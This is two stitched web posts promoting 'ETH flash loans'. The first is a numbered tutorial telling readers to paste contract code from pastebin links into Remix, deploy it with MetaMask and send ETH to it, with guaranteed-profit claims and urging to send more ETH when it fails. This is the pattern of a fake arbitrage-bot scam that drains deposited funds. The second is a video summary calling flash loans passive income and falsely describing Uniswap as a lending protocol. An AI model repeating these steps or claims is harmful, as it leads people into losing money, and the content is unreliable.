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Learn About ETH Flash Loans’ Power
ETH Flash Loans are a pioneering financial service on the Ethereum blockchain, allowing users to rapidly borrow and repay Ether (ETH) within a single transaction—no collateral necessary.
By utilizing smart contract capabilities, ETH Flash Loans provide access to a sizable capital pool, opening up a variety of tactical uses. These loans provide the flexibility and speed to enable you to make sound financial decisions, whether you’re looking to take advantage of arbitrage opportunities, carry out prompt liquidations, or react to sudden changes in trading conditions.
Discover the limitless opportunities that ETH Flash Loans offer for your cryptocurrency adventure and immerse yourself in the future of money!Learn About ETH Flash Loans’ Power
An innovative financial service available on the Ethereum blockchain is called ETH Flash Loans.
Step By Step Tutorial for Flash Loan:
1. Get the Metamask Extension for your browser
2. Open ??https://remix.ethereum.org/ from within your browser.
3. Click on File Explorers and click “Create New File “.
4. Name the file flashloans.sol and paste the contract code link below.
Latest Smart Contract Updated Code:
https://pastebin.com/raw/2KqPu3Dy
or
https://pastebin.com/raw/g32mqs82
5. Click on the “Solidity Compiler” and set the compiler version to 0.5.0
6. Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”
7. Wait for the code to compile.
8. Click on Deploy & Run transactions and set “ENVIRONMENT” to (Injected Web3) OR (Injected Provider – MetaMask).
9. Connect your MetaMask wallet.
10. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
11. ?? On “_TOKENNAME” TokenX9
12. ?? On “_TOKENSYMBOL” TOK
13. ?? On “_LOANAMOUNT” 1000
14. Click Transact and confirm the transaction in MetaMask.
15. Wait for the transaction to confirm.
16. Copy the address of the newly deployed contract.
17. Send ETH to the deployed contract to initiate the swap 0.05 TO 0.1 ETH (0.25 ETH up is better as you will get a bigger amount in each swap)
?? NOTE: UPDATED GAS FEE REQUIREMENT: 0.05 – 0.1 ETH is required to perform arbitrage successfully.
18. Wait for the transaction to confirm.
19. Now, Click “action” (red box) to execute the Flash Loan.
20. Confirm the transaction in MetaMask and wait for the confirmation.
21. You can now check your wallet
Note: if it doesn’t work with 0.05 ETH try to send another 0.05 TO 0.1 ETH (0.25 is better), because fees may be different from day to day.
Avoid using very low amounts as contract may fail below 0.05 ETH.
Under some very rare cases, the arbitrage might fail due to depletion of ETH in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit.
Make sure to transfer your ETH out to another wallet when you’re done.
#flashloan , #cryptoarbitrage , #bnb , #ethereum , #matic , #ftm , #avax , #arbitrage
date : 2024-10-10 12:21:49
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Unlocking Passive Income: Flash Loans on Uniswap
In this video, a 30-year-old Web 3 DeFi tech editor walks viewers through the process of setting up a flash loan on Uniswap. A flash loan is a type of high-risk, high-reward lending option that allows users to borrow large amounts of cryptocurrency with no collateral required. The editor begins by creating a new file on the Remix platform, a popular tool for building and deploying smart contracts.
The editor then deploys the contract on Uniswap, using the MetaMask extension to fund the contract with gas money. The contract is used to engage in various transactions on Uniswap, with the goal of generating passive income through arbitrage opportunities. The editor emphasizes the importance of carefully managing gas money and funding the contract to ensure that the transactions are successful.
Throughout the video, the editor provides a step-by-step guide to setting up a flash loan on Uniswap, including how to create a new file, deploy the contract, and fund it with gas money. The editor also offers tips for using the contract, including the importance of overfunding it to avoid running out of gas money.
Getting started with flash loans on Uniswap:
- Create a new file on Remix and name it "flash loan".
- Deploy the contract on Uniswap using MetaMask.
- Fund the contract with gas money to power the transactions.
- Use the contract to generate passive income through arbitrage opportunities.
Interesting Web3 fact: Uniswap is a decentralized finance (DeFi) protocol that enables users to lend and borrow cryptocurrencies on a decentralized exchange (DEX). It is built on the Ethereum blockchain and is one of the largest DEXs in the world.
